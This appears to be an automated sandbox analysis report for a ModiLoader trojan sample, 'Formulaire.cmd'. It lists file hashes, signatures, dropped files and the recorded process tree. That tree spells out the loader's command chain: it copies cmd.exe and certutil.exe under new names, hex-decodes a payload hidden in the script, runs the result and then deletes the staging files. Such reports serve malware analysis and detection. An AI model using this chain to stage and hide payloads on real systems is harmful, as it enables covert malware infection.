modiloader | c4fb47fd9abb01465a421c6e0412852ba422d892e6ddf533432e356b229a1995

General

Target

Formulaire.cmd
Size

4.4MB
MD5

3a4ee24bb4e30149488acb8b5b807dfa
SHA1

cdaac84ebe682dd75942886fece7286e7afcf816
SHA256

c4fb47fd9abb01465a421c6e0412852ba422d892e6ddf533432e356b229a1995
SHA512

d1dc8a3ba2754fa979addad77e1275f808270a4f47455af27b8dcf302a91086ab3f79fd5212dec8964116fd717ff1aa3e6aed6c277141d8bd504fd3d03b2ed20
SSDEEP

49152:9qn6yInGos9t2oOfPUlIVHpkIuTErOSqcNX6xro0b+mZrRQNMg0Qw9eizGvp:h

Score

10^/10

modiloader trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader

ModiLoader Second Stage 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2736-29-0x0000000002970000-0x0000000003970000-memory.dmp	modiloader_stage2

Executes dropped EXE 8 IoCs

Processes:

alpha.exealpha.exekn.exealpha.exekn.exesppsvc.pifalpha.exealpha.exe

pid process

2600 alpha.exe
3820 alpha.exe
2440 kn.exe
3688 alpha.exe
400 kn.exe
2736 sppsvc.pif
916 alpha.exe
3228 alpha.exe

pid	process
2600	alpha.exe
3820	alpha.exe
2440	kn.exe
3688	alpha.exe
400	kn.exe
2736	sppsvc.pif
916	alpha.exe
3228	alpha.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	25	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

cmd.exealpha.exealpha.exealpha.exe

description	pid	process	target process
PID 3164 wrote to memory of 1824	3164	cmd.exe	extrac32.exe
PID 3164 wrote to memory of 1824	3164	cmd.exe	extrac32.exe
PID 3164 wrote to memory of 2600	3164	cmd.exe	alpha.exe
PID 3164 wrote to memory of 2600	3164	cmd.exe	alpha.exe
PID 2600 wrote to memory of 4600	2600	alpha.exe	extrac32.exe
PID 2600 wrote to memory of 4600	2600	alpha.exe	extrac32.exe
PID 3164 wrote to memory of 3820	3164	cmd.exe	alpha.exe
PID 3164 wrote to memory of 3820	3164	cmd.exe	alpha.exe
PID 3820 wrote to memory of 2440	3820	alpha.exe	kn.exe
PID 3820 wrote to memory of 2440	3820	alpha.exe	kn.exe
PID 3164 wrote to memory of 3688	3164	cmd.exe	alpha.exe
PID 3164 wrote to memory of 3688	3164	cmd.exe	alpha.exe
PID 3688 wrote to memory of 400	3688	alpha.exe	kn.exe
PID 3688 wrote to memory of 400	3688	alpha.exe	kn.exe
PID 3164 wrote to memory of 2736	3164	cmd.exe	sppsvc.pif
PID 3164 wrote to memory of 2736	3164	cmd.exe	sppsvc.pif
PID 3164 wrote to memory of 2736	3164	cmd.exe	sppsvc.pif
PID 3164 wrote to memory of 916	3164	cmd.exe	alpha.exe
PID 3164 wrote to memory of 916	3164	cmd.exe	alpha.exe
PID 3164 wrote to memory of 3228	3164	cmd.exe	alpha.exe
PID 3164 wrote to memory of 3228	3164	cmd.exe	alpha.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Formulaire.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:3164

C:\Windows\System32\extrac32.exe
C:\\Windows\\System32\\extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
2⤵
PID:1824

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2600

C:\Windows\system32\extrac32.exe
extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
3⤵
PID:4600

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Formulaire.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3820

C:\Users\Public\kn.exe
C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Formulaire.cmd" "C:\\Users\\Public\\sppsvc.rtf" 9
3⤵
- Executes dropped EXE
PID:2440

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3688

C:\Users\Public\kn.exe
C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\sppsvc.rtf" "C:\\Users\\Public\\Libraries\\sppsvc.pif" 12
3⤵
- Executes dropped EXE
PID:400

C:\Users\Public\Libraries\sppsvc.pif
C:\Users\Public\Libraries\sppsvc.pif
2⤵
- Executes dropped EXE
PID:2736

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del "C:\Users\Public\sppsvc.rtf" / A / F / Q / S
2⤵
- Executes dropped EXE
PID:916

C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
2⤵
- Executes dropped EXE
PID:3228

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3992 --field-trial-handle=2276,i,5697607538120380977,9987005253899555344,262144 --variations-seed-version /prefetch:8
1⤵
PID:4428

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\Libraries\sppsvc.pif
Filesize
1.6MB

MD5
e83dc541d9852ffab84ccdbf20b4b45f

SHA1
12bd8c9b9f97831e8131f64b532705d11b56d85e

SHA256
f85f2e99b8630fbd384e7847aee11692acd9a1e8132ab6c768c0a286c08310f8

SHA512
8c93667fbed45a70a9daf791a1cd18e2d74c9fa9b45238658cd85bf898b5b688d245dbe55b9115393c5ed8200f6dd2c276904896661839e770ca8f5725a42544

Download Submit
C:\Users\Public\alpha.exe
Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Users\Public\kn.exe
Filesize
1.6MB

MD5
bd8d9943a9b1def98eb83e0fa48796c2

SHA1
70e89852f023ab7cde0173eda1208dbb580f1e4f

SHA256
8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

SHA512
95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

Download Submit
C:\Users\Public\sppsvc.rtf
Filesize
3.2MB

MD5
b40837f9ab31d86cdb23ccbfffcd6cb9

SHA1
4b1455ba4d8bdd088abbb3ca40096a1e4ace9d64

SHA256
888be676e0ac05d20d0046c6c6d483cc33b2e245fa3714aa496239c4fa25a4a6

SHA512
ce29d9b548106353c52328f7732552765ac19d1021ce1aa5f1d727f45469469a0585409cf0eb47049674326616ea4b1215bcf0811067ab6644e70b47e5e71bcd

Download Submit
memory/2736-28-0x0000000002970000-0x0000000003970000-memory.dmp

Filesize
16.0MB

Download
memory/2736-29-0x0000000002970000-0x0000000003970000-memory.dmp

Filesize
16.0MB

Download
memory/2736-31-0x0000000000400000-0x00000000005A2000-memory.dmp

Filesize
1.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads